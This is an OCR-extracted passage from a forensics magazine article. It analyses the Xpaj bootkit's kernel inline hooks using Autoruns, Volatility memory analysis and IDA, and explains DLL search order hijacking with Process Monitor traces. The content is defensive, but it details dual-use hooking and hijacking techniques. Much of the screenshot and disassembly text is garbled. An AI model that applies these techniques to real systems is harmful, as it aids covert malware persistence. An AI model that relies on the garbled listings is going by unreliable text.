[~ Hide Microsoft entries quickly the integrity of the OS executables in-

FHid . volved in some autostart process.
_| Hige Windows entries

[ Rescan ][ Cancel

Figure 14. Autoruns filter options

= Autoruns - Sysinternals: www.sysinternals.com

File Entry Options Help

|d 2 &
' Winlogon | & Winsock Providers =4 Print Monitors I %3 L
2} Evenything | é Logon | 'ﬂ Explaorer | # Intemet Explorer “j Scheduled Tasks | % Services | Dirin
Autormn Entry Dregcription Publizher Image Path Timeztamp
ﬁ HELMYS pstembh CurentControlS et ControlhS ezzion Managersk. novnDlls 11/24/20013 368 A
# |z advapii2 Advanced Windows 32 Bas... [Werfied] Microzoft Windows  cwindows\systerm32hadw... 11/20/2010 12:54 P
[¥] | chbeatg COM+ Configuration Catalog  [Werified] Microsoft Windows — chwindowshspstem32hclbe... 7/14/2009 2:04 AM

¥] = COMDLG32 Carmman Dialogs DLL [Werfied] Microsoft Windows o \windowshsystern32hconn... 11/20/2010 12:59 P
5 Dbt Diriver Install Frameworks fo... Merified] Microzoft Windows:  ohwindowshepstem32hdifea,.. 7/14/2009 2:08 Ak
5 gdid2 GO0 Client DLL [Werified] Microsoft Windows o \windowshsystern32hgdia.. 11/20/2010 12:53 P
& I[ERTUTIL Fiun time utility for Intermet E... MYerified] Microzoft Windomw:  ohwindowshepstem32hiertut... 5/29/2013 2:33 AW

5 IMAGEHLP Wwindows MT Image Helper  [Werified] Microzoft Windows  c\windows\systern32himag... 11/20/2010 12:59 P
5 MM ZE ulti-Ueer Windows IMMZZ... MWerfied] Microzoft Windomw:  ohwindowshepetem32himm...  17/20/2000 700 P
5 kemel3z windows MT BASE AP Ch... [Werified] Microzoft Windows  c\windowshaystem32hkem... 11/20/2010 1:02 P

Figure 15. Autostart executable signature verification

Itis not the purpose of the article to show the features of the autoruns program, however I'd like to men-
tion some tabs directly involved in the completion of the boot process:
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* Boot Execute: Do you remember that the boot manager locates and start the Windows Loader?
This tabs shows the configuration of the executable that the Windows Loaders starts when it has fin-
ished his tasks. The session manager (C:\Windows\system32\smss.exe) usually executes the disk
check utility (C:\Windows\System32\autochk.exe) which is defined in theHKLM\System\CurrentCon-
trolSet\Control/\Session Manager\BootExecute registry key. There are also some interesting registry
keys in the Session Manager hive which are not shown by autoruns. For instance, HKLM\SYSTEM\
CurrentControlSet\Control\Session Manager\SubSystem\KMod defines the kernel driver which pro-
vides the GUI subsystem (usually C:\Windows\system32\win32k.sys).

* Known DLL: This tabs shows the configuration of the HKLM\System\CurrentControlSet\Control\Ses-
sion Manager\KnownDlls registry subkeys. All these subkeys define the full path of each DLL which
implements some user-space functions (the Windows APIs). For instance, the “kernel32” key indi-
cates the full path of the kernel32.dll, usually C:\Windows\system32\kernel32.dll.

» Drivers and services: This tab shows the kernel drivers and the windows services full paths that are
loaded during the boot. Kernel services and “traditional” services are loaded in two different phases.
The first, immediately after the kernel, the last in the session 0 of the Session Manager.

In any case, all the tabs that autoruns shows contain executables or DLLs which are loaded during
the system start (as the one mentioned above) or the user login, when the user do something, such as
opening Internet Explorer (the Internet Explorer tab shows the Browser Helper Objects configuration), or
when the system clock reaches a certain time (Scheduled Tasks). Some tabs contain some configura-
tions which are applied to a specific user-profile, such as Logon, Winlogon, Explorer. Their content may
change if another user profile is analyzed. During my experiment with Xpaj, autoruns was completely
useless. All the entries are verified and apparently there are no other traces of the malware inside the file
system. As demonstrated in the bootkit malware analysis (http:/labs.bitdefender.com/2012/04/xpaj-the-
bootkit-edition/), there are no other traces than the one shown at the start of this article with the analy-
sis of the MBR. After having been loaded, the bootkit code waits for the kernel to start and then accom-
plishes its task by hooking kernel functions and installing itself directly in the operating system memory.
This could be detected through a memory forensics that is not in the scope of this article; it has been al-
ready demonstrated how it is possibile to detect the bootkit infection by auditing the MBR. The malware
analysis report also shows that the bootkit is able to hook ntrReadrile () and ntwriterile () functions in
order to subvert the results of an access to the disk sectors reserved to the MBR and those where the
bootkit code relies: obviously this may influence the investigation depending on how the infected disk has
been acquired (I have done this in offline mode to avoid this kind of problems).

BOOTKIT HOOKS MEMORY ANALYSIS

In order to confirm that the analyzed sample is effectively hooking the Ntreadrile () and NtWriteFile ()
there’s the need to explore some kernel address space and objects that can be inspected easily with a
memory analysis. First, | need to acquire the RAM and | have chosen to do this by pausing the infected
virtual machine and then taking the .vmem file inside the VM directory, as shown in Figure 16.

-

root@tank: ~/vmware/Windows_7_malware# ls

Windows_7_test- =13d899e? VmEm
ymware-0.log Windows_7_test-a3d899e7.vmss Windows_7_test.wmxf
ymware-1.1log Windows_7_test.nvram

ymware-2.log Windows_7_test.vmdk
ymware.log Windows_7_ test.wmsd
root@tank: ~/vmware/Windows_7 malware# |:|

Figure 16. RAM acquisition of the infected virtual machine

There are two main reasons why | have chosen this method. First I'm working in a test environment
with a virtualization technology and there’s no need to keep the machine online for production reasons.
Second, as | have a kernel rootkit | can’t say if it is capable to fool my acquisition tool or not. In this case,
acquiring the memory at the hypervisor level is more reliable even if the rootkit can theoretically escape
the virtual machine by exploting vulnerabilities in the hypervisor, if they are present (it is however more
difficult as it requires a second privilege escalation from kernel to hypervisor).
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Before starting the analysis I've verified that the .vmem file is correctly parsed by volatility (https://code.
google.com/p/volatility/). As shown in Figure 17, the profile is correctly guessed (I'm using the develop-
ment version of the tool)

root@tank:~/Documents/workdir/volatility-read-only# python vol.py -T ../Windows
7_test-a3dB899%e7.vmem imageinfo

WVolatility Foundation Volatility Framework 2.3.1

"*%* Failed to import wolatility.plugins.addrspaces.legacyintel (AttributeError:
'module’ object has no attribute 'AbstractWritablePagedMemory')

etermining profile based on KDBG search...

Suggested Profile(s) : Win7SP0x86, Win7SP1x86
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/lollo/Documents/workdir
/Windows 7 test-a3d899e7.vmem)
PAE type : PAE
DTE : Ox185000L
KDBG : 0xB2971c28
Number of Processors @ 1
Image Type (Service Pack) : 1
KPCR for CPU O : 2972c00
KUSER_SHARED_DATA : Oxffdfoo000
Image date and time : 2013-12-22 10:47:20 UTC+0000
Image local date and time : 2013-12-22 11:47:20 0100

Figure 17. RAM acquisition of the infected virtual machine

Before running the “apihooks” plugin which will search for hooks automatically, | have a look ad the
SSDT (System Service Dispatch Table) which hosts the addresses of the various system calls provided
by the operating system. I'll focus on ntwriteFile () and nNtrReadFile () Which should be targeted by the
malware. As shown in Figure 18, there are apparently nothing suspicious, as the addresses of the func-
tions point in the ntoskrnl.exe address space (which is the main kernel executable).

root@tank:~/Documents/workdir/volatility-read-only# python vol.py --profile=win7
SP1x86 - ../Windows_7_test-a3d899e7.vmem ssdt | grep NtReadFile
Volatility Foundation Volatility Framework 2.3.1

Entry Ox0111: 0Ox82aaac8c ( ) owned by ntoskrnl.exe

Entry Ox0112: 0x829e06a7 ( Scatter) owned by ntoskrnl.exe

root@tank:~/Documents/workdir/volatility-read-only# python vol.py --profile=win7
SP1x86 - ../Windows_7_test-a3dB899e7.vmem ssdt | grep NtWriteFile
Volatility Foundation Volatility Framework 2.3.1

Entry Ox018c: 0x82ab7f2b ( ) owned by ntoskrnl.exe

Entry Ox018d: 0x829e82f7 ( Gather) owned by ntoskrnl.exe

Figure 18. System Service Dispatch Tables inspection

It is time to invoke the “apihooks” volatility plugin which can search for various types of hooks automati-
cally. In this specific case, I'm looking for modifications in the kernel, so I've launched it with the —p which
excludes the user-address space from the analysis. As shown in Figure 19 the output is more interesting.

www.eForensicsMag.com € »


https://code.google.com/p/volatility/
https://code.google.com/p/volatility/

eFOPenE,lcs

a g azine

root@tank:~/Documents/work / E y-read- y# python wvol.py --profile=Win
SP1x86 -f ../Windows_7_test-a3d899e7.vmem apihooks -P

Wolatility Foundation Volatility Framework 2.3.1

*** Failed to import volatility.plugins.addrspaces.legacyintel (AttributeError:
'module’ object has no attribute 'AbstractWritablePagedMemory’)

FEAEEEEEEREEEE TR R R TR R R T R IR EERR X T R IR EE R R R E R IR EE R R R IR EREE XX LK EREE L E L&)

Hook mode: Kernelmode

Hook type: Inline/Trampoline

Victim module: ntoskrnl.exe (0x82847000 - 0x82c59000)

Function: ntoskrnl.exe!NtReadFile at Ox82aaac8c

Hook address: 0x849b4158

Hooking module: =unknown=

Disassembly(0):
Ox82aaacB8c e8c794f001 CALL 0Ox849b4158
0x82aaac91 B982e810bfel MOV [EDX-0x1e40ef18], EAX
0x82aaac97 ff33 PUSH DWORD [EBX]
Ox82aaac99 f6 DB Oxf6
Ox82aaac%9a B975dc MOV [EBP-0x2
3 8975d0 MOV [EBP-0

2aaacal 8975ac MOV [EBP-0x54],

Ox82aaaca3d B9 DE 0OxE9

Disassembly(1):
0x849b4158 58 POP EAX
9 900000000 JMP 0x849b415e
55 PUSH EBP
89e5 MOV EBP, ESP
83ec10 SUB ESP, 0xX10
53 PUSH EBX
56 PUSH ESI
0x849b4166 57 PUSH EDI
0x849b4167 833dad4519b8400 CMP DWORD [0x849h51a4], 0x0
of DB oxf
84 DB 0xE4

FhhkEkdkddkhkEhkddhkdhddkhkdddd kit ddhkddkdhhkddkdhddddhddidhddidhihihhddihhddidiid

Hook mode: Kernelmode

Hook type: Inline/Trampoline

Victim module: ntoskrnl.exe (0x82847000 - 0x82c59000)
Function: ntoskrnl.exe!NtWriteFile at 0x8&2ab7f2b

Hook address: 0Ox849b424a

Hooking module: =<unknown=

Disassembly(0):
0x82ab7f2b e8&lac3efO CALL 0x849b424a
h?f ﬂ 8382E8?19Leﬂ MOV AL, [EDX-0x1f138e18]
PUSH DWORD [EBX]

Figure 19. Inspecting System calls hooks with volatility

The output shows that there is a inline hook installed both on Ntreadrile () and NtwriteFile () func-
tions. The figure is cut but there were no other functions hooked. The “Disassembly(0):” parts shows the
code of the first instructions inside each legit function: it can be noted that the first instruction is a carw
to an absolute address outside of ntoskrnl.exe address space, for both the hooked functions. This tech-
niques is called “inline hook”, and consist of overwriting the first bytes of a function transferring the con-
trol to the attacker code, instead of modifying the function address inside the Kernel System Call Tables
(SSDT hook). When the hook code ends its work, it returns to the original function usually through a carw
or equivalent instruction inside the virtual address space of the victim function. Volatility is also showing
that the the “Hooking module” is “unknown”. This mean that the tool has not been able to identify a kernel
module in the Kernel virtual address space where the hook jumps: a clue that the hook code may have
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been written as pure shellcode. Our investigation can proceed with a quick inspection of the hook code
and to do so we can take advantage of the “volshell” plugin. We know that the ntreadrile () hook coode
start at Virtual Addres 0x84904158 and the ntwriteFile () hook code start at 0x849v424a. This means that
the space between the first and the second address, of size 0x849b424a - 0x849b4158 = 0xf2 should
contain the code of the ntreadrile () hook. I'll focus the analysis on the Ntreadrile () hook, leaving the

NtwWriteFile () hook as an exercise for the reader.

Listing 1. Disassembling the NtReadFile() hook code inside the RAM dump

lollo@tank:~/Documents/workdir/volatility-read-only$ python vol.py -f ../Windows 7 test-a3d899e7.vmem

--profile=Win7SP1x86 volshell
Volatility Foundation Volatility Framework

**%* Failed to import volatility.plugins.addrspaces.legacyintel (AttributeError: ‘module’ object has no

attribute ‘AbstractWritablePagedMemory’)
Current context: process System, pid=4, ppid=0 DIB=
Welcome to volshell! Current memory image is:
file:///home/lollo/Documents/workdir/Windows 7 test-a3d899e7.vmem
To get help, type ‘hh()’
>>> dis( , length= )
POP EAX
900000000 JMP
PUSH ERP
MOV EBP, ESP
SUB ESP,
PUSH EBX
PUSH ESI
PUSH EDI
CMP DWORD [ 1,
JZ
MOV EAX, [EBP+ ]
CMP EAX, [ ]
JB
CMP EAX, [ ]
JB
MOV EAX, [EBP+ ]
CMP EAX,
JZ
CMP DWORD [EAX+ 1, -
JNZ
CMP DWORD [EAX], -
JZ
££30 PUSH DWORD [EAX]
POP DWORD [EBP- ]
££7004 PUSH DWORD [EAX+ ]
POP DWORD [EBP- ]
££7528 PUSH DWORD [EBP+
££7524 PUSH DWORD [EBP+
££7520 PUSH DWORD [EBP+
f£751c PUSH DWORD [EBP+
££7518 PUSH DWORD [EBP+
£f£7514 PUSH DWORD [EBP+
££7510 PUSH DWORD [EBP+
£f£750c PUSH DWORD [EBP+ ]
££7508 PUSH DWORD [EBP+ ]
e8b7120000 CALL
PUSH EAX
PUSH ECX
PUSH EDX
LEA ECX, [EBP- ]
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PUSH

PUSH

PUSH

PUSH
££7520 PUSH DWORD [ + ]
f£f751c PUSH DWORD [ + ]
££7518 PUSH DWORD [ + ]
££7508 PUSH DWORD [ + ]
e846010000 CALL

POP

POP

POP

POP

POP

POP
c9 LEAVE
c22400 RET
£f£7528 PUSH DWORD [ + ]
£f£7524 PUSH DWORD [ + ]
££7520 PUSH DWORD [ + ]
f£751c PUSH DWORD [ + ]
£f£7518 PUSH DWORD [ + ]
f£7514 PUSH DWORD [ + ]
£f£7510 PUSH DWORD [ + ]
£f£750c PUSH DWORD [ + ]
££7508 PUSH DWORD [ + ]
e870120000 CALL

PUSH

PUSH

PUSH
e9ceffffff JMP

LEA ;0 - ]

LEA , [EBP- ]

PUSH

PUSH

PUSH

PUSH
££7508 PUSH DWORD | + ]
e80febffff CALL

CMP ,

JINZ
e96fffffff JMP

As the reader can see, the code references other addresses which are outside the supposed address
space of the hook code (between 0x849b4158 and 0x849b424a). For the moment we’ll focus on the last in-
struction before the hook code of the ntwriterile () which is an inconditional jump to the o0x849b4109 ad-
dress. At that address, the hook code saves 9 parameters on the stack, which is exactly the same num-
ber of parameters accepted by the function ntreadrile (), as documented at http://msdn.microsoft.com/
en-us/library/windows/hardware/ff567072%28v=vs.85%29.aspx (the reference is to the zwreadrile()
which is the kernel function corresponding to NtreadFile () ) The code then jumps to a relatively far loca-
tion at address 0x849b5490. The disassembly is shown in Figure 20.

=> dis(0x849b5490, length=0x20)
x849bh5490 6adc PUSH 0x4c

x849b5492 68dBcdB982 PUSH DWORD 0x8289cddg
Nx849b5497 e9f7570ffe JMP Ox82aaac93

Figure 20. The hook code which jumps back to the NtReadFile() function
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The hook code ends by saving the original function context (0x8289cads is an address inside ntoskrni.
exe) and returning in the Ntreadrile () function, at address 0x82aaac93. This is where “trampoline”
(the code that transfer the control to the hook code) ends and the legit code of the function starts.
Note also that the modification of the first bytes of the ntreadrile () has confused the disassembly
made by volatility in Figure 19. The disassembly has produced some meaningless instructions, such as
MOV [EDX-0xle40ef18], EaX. The Figure 21 shows how the function looks by starting the disassembly
at the jump back address.

=> dis(0x82aaacf91, length=0x10)

®82aaac91 8982e810bfe1 MOV [EDX-0x1e40ef18], EAX
®82aaac97 ff33 PUSH DWORD [EBX]
x82aaac99 f6 DB 0xfe

Ox&2aaac%a 8975dc MOV [EBP-0x24], ESI

x823aac9d 8975d0 MOV [EBP-0x30], ESI

IxE82aaacal 89 DE 0OxE9

>> dis{0xB2aaac93, length=0x10)

x82a3aac93 eB10bfel1ff CALL Ox828cebas

xB2aaac98 33f6 ¥OR ESI, ESI

®x82aaac%9a 8975dc MOV [EBP-0x24], ESI

x82aaac9d 8975d0 MOV [EBP-0x30], ESI
8975ac MOV 5

Figure 21. Effects of the trampoline installation on the NtReadFile() function

If an analyst want to analyze deeper the hook code, it is also possible to extract the memory pages
which contains that code and try do to some analysis with IDA Pro (https://www.hex-rays.com/products/
ida/). As shown in Listing 1, we have some references to memory locations far from each other, for in-
stance car1 0x849b5490, CALL 0x849b2d4b. We can identify memory pages that contains the hook code
with the “memmap” plugin, as shown in Figure 22 (the --pid 4 is the process ID of the System process
which represents the kernel).

¢:~/Documents/workdir/volatility-read y$ python vol.py -

7_test-a3d899e7.vmem --profile=Win7SP1x86 --pid 4 memmap | grep "0x849b"
Volatility Foundation Volatility Framework 2.3.1

0x3f7h0000 0x1000 0x1a9f000

0x3f7h1000 0x1000 0x1aa0000

0x3f7b2000 0x1000 0x1aa1000

0x3f7b3000 0x1000 0x1aaz2000

0x3f7h4000 0x1000 0x1aa3000

0x3f7b5000 0x1000 0x1aa4000

0x3f7b6000 0x1000 0x1aa2000

0x3f7h7000 0x1000 0x1aa6000

0x3f7h8000 0x1000 0x1aa7000

0x3f7bo000 0x1000 0x1aa8000

0x3f7ha00n0n 0x1000 Ox1aa%000

0x3f7bb000 0x1000 0x1aaalo0

0x3f7bcO00 0x1000 0x1aab000

0x3f7bd000 0x1000 0x1aac000

0x3f7he0O 0x1000 0x1aad000

0x3f7bf0o00 0x1000 0x1aae000
X002 0x1752a000 0x1000 000

Figure 22. Memory pages connected to the hook code

In the ntreadFile () hook code we have three pages involved, and corresponds to the virtual address-
€S 0x849b2000, 0x849b4000, 0x849b5000, each of size ox1000 (third column). We can use the physical ad-
dress (the second column) as “dd” option. I'll extract the contiguous space between the virtual address
0x849b2000 and 0x849b5000 + 0x1000, Which has a size of 0x4000 that translate to 16384 decimal. I'll use
0x3£7b2000 as base address which translate to 1065033728 decimal (Figure 22).
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lollo@tank:~/Documents/workdir/volatility-read-only$ dd if=../Windows_7_test-a3d
899e7.vmem bs=1 skip=1065033728 count=16384 > /tmp/memory_pages.bin

16384+0 records in
1638440 records out
16384 bytes (16 kB) copied, 0.039766 s, 412 kB/s

Figure 22. Memory pages connected to the hook code

Now | have installed a copy of IDA Free and moved the file “memory_pages.bin” inside the Windows
Analysis Machine. While opening the file with IDA, | have to specify the processor (which in my case is
part of the 80686 family), as shown in Figure 23.

Load a new file I—EE'-]

Load file C:\JzershlcantonivDeskiophmemary_pages bin az
Binary file
Processar type
Intel 80486 processors: BOGEGER - |
Analyziz
Loading seament 0=00000aa0 | Enabled
Loading offzet Q0000000 | Indicator enabled
Options
/| Create segments | Kemel options1 |
| Load az code segment
Fename DLL entriez
el | K.ermel optionz2 |
Fill zegment gapz The di bl il K | £t
Loading options | Frocessor options | di © ISﬁlssetrr? ?[ Wl ?2 bI't W%g b?{
Do not align zegments Isassem e e flie '_n -bit or - _'
mode. Obviously | will choose 32 bit.
_ i Then the dissassembler will tell that it is
P e R - Incows not able to identify an entry point and that
we have to mark as code the sections
ok | | Cancel | | Hep that we believe are code (Figure 24)

Figure 23. Memory page dump opening with IDA

Information l"ﬂ_l

.0, Y'ou have just loaded a binary file.

[D& Pro can't identify the entry point automatically az
there iz ho standard of binaries.

Please move to what you think iz an entry paint
and prezs 'C' bo start the autoanalysis.

Dan't dizplay thiz meszage again

Figure 24. The disassembler asking to identify manually code
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Now, if | want that IDA recognize as code at the entry point of the ntreadrile () hook for instance,
| have to calculate the offset inside the dump and then press “C” on the first byte to mark it as
code. I've started the dump at 0x84902000, but the address of interest is at 0x84904158. 0x84904158
- 0x84902000 = 0x2158. This value will be the same also if | perform the subtraction with physical ad-
dresses. So, | click the “Jump” menu, then choose “Jump to address”, write 0x2158 and click ok. Then
I’ll click on the byte at that address and then press “C”. The result is shown in Figure 25, obviously
the disassmbler may need to be instructed to interpret bytes as code also in other parts of the dump.

Function name seqB0B:BE0A2156 db SEh ; °
N5 sub_45D seq800: 08862157 db 8C3h ; +
Mo sub_400 SEQORRCRERR ISR . oo T T e T T T T R T T T T
\.f sub 499 seqgBod: 0002158 pop eax
N seq0B0: 008082159 jmp §45
Fsub 653 seqBB0:B006215E push | ebp
Hsub_B49 seq800:0880215F mou ebp, esp
17 sub_§71 seqdoo: 00802161 sub esp, 16h
"f sub B33 seqBod: 0002164 push ebx
",e sub BED seqBOB: 00682165 push esi
Mesub CAE seqd00: 00802166 push edi
\F' mh_FT'Fi seqBod:e0e02167 cmp dword ptr ds:849B51A4h, O
5 sub_D41 - - seqdof:eeea216E jz loc_218F
P 1 " seqdoa:eeea217ys mov eax, [ebp+1Ch]
JBjsub D48 ' * cegooo:ona02177 cnp eax, ds:849B5208h
\fsqu55 2 5eqopo:enenz17o ib 1oc_218F
(#sub_DBF '+ ' seqBBA:08802183 cmp eax, ds:849B528Ch
~5isub_DAS ---1_ seqoBa:68082189 ib loc_2280
™ sub_233C ' ' sey0e6;8686882 18F
5 sub_2503 , | sSeqBoo:@eeEn218F loc_218F: ; CODE XREF: seg0@n:o0@00216ET]
5 sub_25DE : ' seq00A:08808218F ; seqBBd:pesB217DTj
L% i > seqBB0: eeaa21ar mov eax, [ebpr 1
Bsub_25F3 . seq000: 00002192 cmp eax, 0
Bjsub_2832 | L--! seq000:000082195 jz loc_2228
1#])sub_3430 I seg000: 00802198 cmp dword ptr [eax+h], BFFFFFFFFh
\ 1 % segBB0:B8BO219F jnz loc_21AE
v " seqgBB0:0808621A5 cmp dword ptr [eax], BFFFFFFFEh
VLt <egAAA:ARAAZ1AR jz Tnr_2228
ror o seqBB0:080821AE
\ 1 segBP0:@88021AE loc_21AE: ; CODE XREF: seqgB@@:8080219FTj
< > 11 * ceqpon:008021AE push dword ptr [eax]

Figure 25. The entry point of the NtReadFile() hook coode inside IDA Pro

IDENTIFY DLL SEARCH ORDER EXPLOITS
Without performing low level stunts, another possible technique for covertly launch a malware is through
the DLL search order attacks. Consider an application written in C that contains the following line of code:

LoadLibrary (“rpcss.dll”);

The LoadLibrary () parameter is the name of the module which the application wants to load. Accord-
ing to Microsoft documentation about the function invocation (http://msdn.microsoft.com/en-us/library/
windows/desktop/ms684175%28v=vs.85%29.aspx), if the parameter is a full path, the operating system
only searches for that path. If the parameter is a relative path or a module name, the operating system
uses a standard search strategy to find the given module. This strategy is well documented by Microsoft
(http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586%28v=vs.85%29.aspx). The de-
fault behavior (which can be modified from Windows XP SP1 and later trough the registry key HKEY_LO-
CAL_MACHINE\System\CurrentControlSet\Contro/\Session Manager\SafeDIlISearchMode) can be summarized
as follows:

* The system first inspects the current loaded modules of the calling application and check if an exist-
ing module with the same name is already loaded.

* The system then checks the “Known DLLS” registry subkeys (HKLM\System\CurrentControlSet\
Control\Session Manager\KnownDIIs), and sees if there is a path corresponding to the module
name passed to the LoadLibrary() function. If so, it uses the path defined by the relevant subkey
(KnownDlIs\DlIDirectory defines the path for the other KnownDlls subkeys).

+ At this point, if the above conditions are not satisfied, the system starts to search the DLL. The first
places where the system looks for are the path where the calling application has been loaded and
the current directory. The system32 directory and the other system related directories are searched
after th ones.

In my testing environment | have a total of 28 KnownDlIIs subkeys, excluding DIIDirectory which define
the path for the other subkeys (Figure 26).
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File Modifica Visualizza Preferiti 7
: i Network-lsFowder || Mome Tipo Diati
| s ab| (Predefinito) REG_57 (valore non impostato)
4 ::dd”terﬁ"es ab) advapi32 REG_SZ advapi32.dll
Ao ab| clbcatq REG_SZ clbcatq.dll
. @ Pnp ab| COMDLG32 REG_SZ COMDLG32.dIl
o ab| DifwApi REG_SZ difxapi.dll
| Print ab| DIDirectory REG_EXPAMND_SZ FeSystemRoot ¥\ systemn32
| Bl ab| gdi32 REG_SZ gdi32.dll
| ProductOptions ab| [ERTUTIL REG_SZ IERTUTIL.dI
.|, Remote Assistance ab]| [IMAGEHLP REG_SZ IMAGEHLP. Il
sl SafeBoot ab|[MIM32 REG_SZ IMM32.dIl
- ; ScsiPort ab|kernel32 REG_5Z kernel32.dll
-, SecurePipeServers ab|| PK REG_SZ LPE.dII
> - i SecurityProviders ab| MSCTF REG_SZ MSCTF.dII
- L ServiceGroupOrder ab| MSVCRT REG_SZ MSVCRT.dll
- Ly ServiceProvider ab| NORMALIZ REG_SZ NORMALIZ.dlI
a4 Session Manager ab| ST REG_5Z MSLAll
~J. AppCompatCache ab] ole32 REG_SZ ole32.dll
it Apphaiches ab| OLEAUT32 REG_S7 OLEAUT32.dlI
""" : Sg”;'g”r_at““” Manage | a8 psap1 REG_SZ PSAPLDLL
""" Sagilagles a5] rpertd REG_SZ rpcrtd.dil
::;L?Vr:e”t ab| sechost REG_SZ sechost.dll
----- . FileRenameOperations 2t Setupapi REG_5Z Sebupapt:c]
..... | 1O System ab| SHELL32 REG_SZ SHELL32.dIl
_____ [ hg ||| 28I sHLWAPT REG_SZ SHLWAPLAII
_____ T =] =b]URLMOMN REG_SZ URLMOMN.dlI
| Memory Management| ||| 2] user32 REG_S7 user32.dll
,,,,, 1 ab| USP10 REG_SZ USPI10.dll
Figure 26. Operatying syteimsikeown DLLs. In theé'S$)%Em root paﬁﬁﬁei%ludmg subfoldBRIFhdve 1669 dils
4. | SubSystems ab| WLDAP32 REG_SZ WLDAP32.dlI
¢ LM CsRss | ab]ws2 22 REG 57 Wws2 32.dil

root@tank:
1669

t@tank: /

Figure 27. Total number of dlls present in C:\Windows\system32

This means that | have at least 1669 — 28 DLLs which names can be used for DLL search order hijack-
ing attacks, supposing to have a legit application that uses vulnerable call invocations to 1.0adLibrary ().
For instance, “graphedt.exe” is a small executable provided by Microsoft within the Windows SDK tools.
It can be used for debugging and testing purposes while developing applications using DirectShows
APIs. Without inspecting its code through a disassembler, is it possible to identify multiple chances to ex-
ploit a DLL search order vulnerability just by launching the application and observing its behavior through
Process Monitor (http.//technet.microsoft.com/en-us/sysinternals/bb896645.aspx).
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3992 & Load Image CaWindows\System32\pk dil SUCLCESS Image Hase: Ik//6...
3592 &% Load Image C:\Windows'\System32'wsp 10.dll SUCCESS Image Base: x770...
502 hCrocatcHc ChlUacra'lcantonitDicaldop WrCaz.dl NAME MOT FOUNLD Deaired fcccsa: H...
3952 EkCreateFie C::\Windows'\System 32\mfc42 dil SUCCESS Desired Access: R
3552 R CueryEasiclfor_C \Windows \System32\mic22 dl SOCCESS Creation Tme: 14/0...
3592 g'\CloseFﬂe C\Windows'\System 32\mfc42 dil SUCCESS
3992 EkCreateFie C:\Windows'\System32\mfc42 dll SUCCESS Desired Access: R...
3592 B;CreateFl‘eMapp...C:\Wmdows\&ymemBZ\mfc-iZ.dll FILE LOCKED WI... SyncType: SyncTy...
3992 Bﬂuew&andardi._.C:\‘.'\rmdows\ﬁy‘stemﬂ\mfc-ildll SUCCESS AllocationSize: 1.1...
2992 B\ ReadFie C:\Windows'\System 32 \mfc42 4l SUCCESS (Offset: 0, Length: 4.
3332 A ReadFie C:\Windows'\System32\mfc42 dl SUCCESS Offset: 1.076.224, ...
3392 [ShReadFie C:\Windows'\System32\mfc42 dl SIUCCESS Offset: 1.052.608, ...
3992 [PAReadFie C:\Windows'\System32\mfc42.dl SUCCESS Offset: 1.108.992, ...
3992 [BhReadFie C:\Windows'\System32\mfc42 di SUCCESS Offset: 1.125.376, ...
3552 gﬁealuFil:Mclpp._.C.\W’hlduw:s\ﬁy:leu|32\n 42 dll SUCCESS SyncType. SycTy....
35392 &% Load Image C\Windows'\System 32\mfc42 dil SUCCESS Image Base: BT ...
3992 BhReadFie C:\Windows'\System32\mfc42 di SUCCESS Offset: 138.656. Le...
2992 [BhCloseFie C:\Windows'\System32\mfc42.dl SUCCESS
3992 [BhReadFie C:\Windows'\System32\mfc42 dl SUCCESS Offset: 933,184, e
3952 BhReadFie C\Windows'\System 32\mfc42 dil SUCCESS Offset: 2.048, Leng...
3592 &% Load Image C\Windows'\System32'ole 32 dll SUCCESS Image Base: x773...
3552 £¥Load Image CA\Windowa\Syatem22'olcaut 22 dIl SUCCESS Image Baac: Ix7Eb....
3¢ Fhlreatete “\Users \lcantoni\Desktop\ODB ol NAL NOT FOUND Desired Access: H...
3992 [BhCreatefie C:\Windows'\System32\odbc32.dl SUCCESS Desired Access: R...
92 BhluenBasiclntor _C\Windows'\System 32 \odbe 32 dll SUCCESS Creation lime: 20/7..
3592 B\GoseFﬂe C\Windows'\System32\odbe32 dil SUCCESS
3532 guCreateF(e CoWindows\System32'odbe32.dll SUCCESS Desred Access: R...
3992 5\CreateFiel'v'lapp...C:\thows\.System32\ndbc32.dll FILE LOCKED WI... SyncType: SyncTy...
359592 aCreateFieMapp._.I’::\Wmdowg'\Syetem?Z\odbc?idll SUCCESS SyncType: SyncTy..
3392 &% Load Image C:\Windows'\System32\odbe32 dil SUCCESS Image Baze: (kBaZ...
3592 B\GoseFﬂe C\Windows'\System32'odbe32 dil SUCCESS
3992 [BhReadFie C:\Windows'\System32\mfc42 dl SUCCESS Offset: 34.816. Len...
3592 &% Load Image C:\Windows\System32\comdig32 dil SUCCESS Image Base: 76 ...
3392 &% Luad naye CWWindows \Syslem 32shlwapi dil SUCCES3 Iinoye Base. D75,

3892 [BhCreatefie

C:llzers\cantonitDesktop'graphedt exe . Local

NAME NOT FOUND Desired Access: R...

2892 A Createfie C:\Windows'winsxs'w86_microsoft windows common-controls_6535b641... SUCCESS Desired Access: R...
3552 BGueryBasic Infor._.C:\Windows ' winsxs"«86_microsoft windows common-controls_6595b641... SUCCESS Creation Time: 20/1...
3992 acloseFﬂe C:\Windows'winsxs'x86_microsoft windows common-controls_6535b641... SUCCESS

3952 B\CreateFle C:\Windows'winsxs'x86_microsoft windows common-controls_6535b641... SUCCESS

3992 BCreateFie C:\Windows'winsxs x86_microsoft windows common-controle_6535b641... SUCCESS Desired Access: R..
3592 Bﬂucryguaic Infer__.C:\Windowa'\winaxa'«8E_microaoft windowsa commeon controla_E5056E41... SUCCESS Creation Time: 20/1...
3552 gcloseFﬂe C:\Windows'winses"w86_microsoft windows common-controls_6595b641... SUCCESS

3552 BhCreateFile C:\Windows'winsxs'x86_microsoft windows common-controls_6535b641... SUCCESS Desired Access: R...
3992 =hCreateRleMapp...C.\Windows'winsxs"«86_microsoft windows common-controls_6595b641... FILE LOCKED WI_.. SyncType: SyncTy...
3992 aCreateFiel'\l'lapp._.C:\thows\\\'insxs\xss_micmsoﬂ.'-\rin-dows common-controls_6595b641... SUCCESS SyncType: SyncTy..
3992 &% Load Image CWindows'winsxs'a86_microsoft windows common-controls_6595b64 1 ... SUCCESS Image Base: k725...
3552 gcloseFﬂe C:\Windows'winses"«86_microsoft windows common-controls_6595b641... SUCCESS

2992 8% Load Image CM\Windows\System 32\shell 32.dII SUCCESS Image Base: (x75=...
1992 Bhlreatehie - \Users cantani \Deskiop WERGION dl MNAME NOT FOUND Desired Access: R...
